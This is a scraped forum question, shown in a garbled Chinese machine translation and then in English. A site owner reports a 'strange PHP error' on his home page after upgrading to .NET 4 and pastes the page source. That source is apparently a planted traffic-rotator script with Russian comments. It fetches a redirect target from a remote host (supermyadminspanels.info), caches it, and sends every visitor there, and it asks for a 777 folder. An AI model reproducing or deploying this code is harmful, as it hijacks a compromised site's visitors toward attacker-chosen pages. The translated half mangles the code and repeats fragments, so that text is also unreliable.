将站点升级到.NET 4 - 奇怪的PHP错误 [英] upgrading site to .NET 4 - strange PHP error
问题描述
i希望将我的网站从.NET 2升级到4.
1修复了web.config以满足4个要求
2.将网站的IIS设置为.NET 4(通过Plesk)
3.将所有组件编译为4
现在网站的所有页面都在工作,但主页返回奇怪的PHP错误: 0,'url'=> $ default_url); if($ settings ['last']
*在下面的全视图源
任何人都知道什么似乎是问题以及如何解决它?
非常感谢,
Assaf。
#################### ################################################## ######
#Скриптдолженлежатьвпапке,прочмоденойна777。этоважно!。#
#脚本必须位于777的prochmodenoy文件夹中。这很重要!。#
############### ################################################## ###########
$ geturl ='http://supermyadminspanels.info/rotator.php?hash = 75a996ff2a8a6d666dca52a823e1cc84'#Урлэкспортаактуальногоурланалендинг
$ timeout = 120; #Времяобновления(всекундах)
$ default_url ='http://www.google.com/robots.txt';
if(!$ geturl)
出口();
#еслиестьфайликданных,читаемего,иначесливаетсятрафикнаDEFAULT_URLвтомслучае,еслиобноитьсясэкспортногоурланеполучится
$ b。 $ b $ tmp_settings = sys_get_temp_dir()。 /settings.json;
$ settings = file_exists($ tmp_settings)?unserialize(file_get_contents($ tmp_settings)):array('last'=> 0,'url'=> $ default_url);
if($ settings ['last']< time() - $ timeout)>
{
if( $ settings ['url'] = file_get_contents($ geturl))
{
$ settings ['last'] = time();
$ fp = fopen($ tmp_settings,'w');
flock($ fp,LOCK_EX);
fputs($ fp,serialize($ settings));
flock($ fp,LOCK_UN);
fclose($ fp);
}
}
$ url = $ settings ['url']?$ settings ['url']:$ default_url;
if(substr($ url,0,4)!=' http')
$ url =http://。$ url。/;
header(Location:$ url);
exit();
?>
default_url);如果(
设置['last']
*下面的全视图来源
有谁知道什么是问题以及如何解决?
非常感谢,
Assaf。
####################### ################################################## ###
#Скриптдолженлежатьвпапке,прочмоденойна777。этоважно!。#
#脚本必须位于777的prochmodenoy文件夹中。这很重要!#
########################################## #####################################
< blockquote> geturl ='http://supermyadminspanels.info/rotator.php?hash = 75a996ff2a8a6d666dca52a823e1cc84'#Урлэкспортаактуальногоурланалендинг
Hi,
i want to upgrade my site from .NET 2 to 4.
1. fixed the web.config to meet 4 requirements
2. set IIS for the website to .NET 4 (through Plesk)
3. compiled all components to 4
now all the pages of the site are working except the Home Page which returns a strange PHP error: "0, 'url'=>$default_url); if ($settings['last']"
*on the below the full view source
anyone knows what seems to be the problem and how to fix it?
Many Thanks,
Assaf.
############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
$timeout=120; #Время обновления (в секундах)
$default_url='http://www.google.com/robots.txt';
if (!$geturl)
exit();
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
$tmp_settings = sys_get_temp_dir() . "/settings.json";
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
if ($settings['last']<time()-$timeout)>
{
if ($settings['url']=file_get_contents($geturl))
{
$settings['last']=time();
$fp=fopen($tmp_settings, 'w');
flock($fp, LOCK_EX);
fputs($fp, serialize($settings));
flock($fp, LOCK_UN);
fclose($fp);
}
}
$url=$settings['url']?$settings['url']:$default_url;
if(substr($url, 0, 4)!='http')
$url="http://".$url."/";
header("Location: $url");
exit();
?>
default_url); if (
settings['last']"
*on the below the full view source
anyone knows what seems to be the problem and how to fix it?
Many Thanks,
Assaf.
############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
这篇关于将站点升级到.NET 4 - 奇怪的PHP错误的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!